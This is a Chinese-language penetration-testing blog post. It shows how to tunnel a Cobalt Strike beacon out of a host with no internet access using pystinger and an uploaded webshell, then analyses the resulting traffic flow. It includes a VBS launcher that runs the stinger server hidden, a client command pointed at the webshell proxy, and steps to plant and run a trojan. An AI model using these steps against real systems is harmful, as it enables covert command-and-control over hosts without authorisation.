不出網機器CS上線
日期: 2021-07-07
作者: Mr-hello
介紹: 在滲透測試過程中會出現目標機器不通外網的情況,本文介紹通過
pystinger
工具實現上線。
0x00 前言
在普通滲透測試過程中,總會遇到一種情況,在該種情況下,系統只是內網服務器做的端口映射,並且該服務器不通外網,這樣平常情況無法實現 CS 上線操作。通過 pystinger
工具可以實現上線操作。
0x01 使用方法
假設我們在拿下一台目標主機,但是該主機只是做端口映射,無法連接外網。
使用 pystinger
工具進行 CS 上線,下載地址,通過 webshell
實現內網 SOCK4
代理,端口映射可以使目標不出網情況下在 CS 上線。
首先上傳對應版本腳本到目標服務器。
將 stinger_server.exe
上傳到目標服務器,在目標機上創建 stinger_server.vbs
文件,示例如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide
執行 vbs
腳本,啟動服務。
把 stinger_client
上傳到 teamserver
服務器,-w 指定 proxy 的 url 地址運行。
chmod +x stinger_client
./stinger_client -w http://x.x.x.x/proxy.php -l 0.0.0.0 -p 60000
CS 新建監聽器,設置為目標機器的內網 IP,端口默認 60020。(teamserver 服務器和執行 stinger_client 應為同一台服務器)
生成木馬,上傳目標服務器並執行。可看到 CS 有新上線主機。
成功訪問內網網段。
這里我只測試了 Windows
版本,有興趣的可以嘗試一下 Linux
版本。
0x02 原理剖析
實驗室的一個大佬拍着我的肩膀說,知其然也要知其所以然。所以我開始研究起來它的原理。在成功訪問到內網之后,我查看了進程信息以及端口連接信息。經過一個多小時的梳理,我發現存在以下可用端口連接及進程信息。
首先梳理一下。
stinger_server.exe PID 2424
httpd.exe PID 3784
artifact.exe PID 3600
httpd.exe. PID 800
那么在服務器上存在這樣一個數據流向,來自 192.168.76.1
(因為我使用 76.1 做代理服務器進行的端口映射) 訪問 proxy.php
的流量進入目標主機 80 端口,而后 proxy.php
基於 httpd
服務發起新的連接,數據進入 PID 3784
的進程控制。
在進入 PID 3784
進程后,本機 60793
端口對 60010
端口進行連接,並且 60010
端口開啟監聽的是 stinger_server.exe
。隨后數據被其接收。
最后 stinger_server.exe
使用 60020
端口與 artifact.exe
進行交互。至此目標機端數據流向分析完畢。
繼而在自己的 teamserver
服務器上發現以下連接。
發現 teamserver
中上線的主機連接是由 stinger_client
發起的,這么分析的話,stinger_client
是一個橋梁作用,連接 teamserver
和被控主機。下圖 39.82.XX.XX:5000
即為我測試過程中使用的 IP,該進程由 stinger_client
發起也就證實了我的猜測。
以上分析完之后,所有的流量走向已經搞明白了。
0x03 結束語
果然大佬說的沒錯,知其然,知其所以然。路漫漫其修遠兮,吾將上下而求索。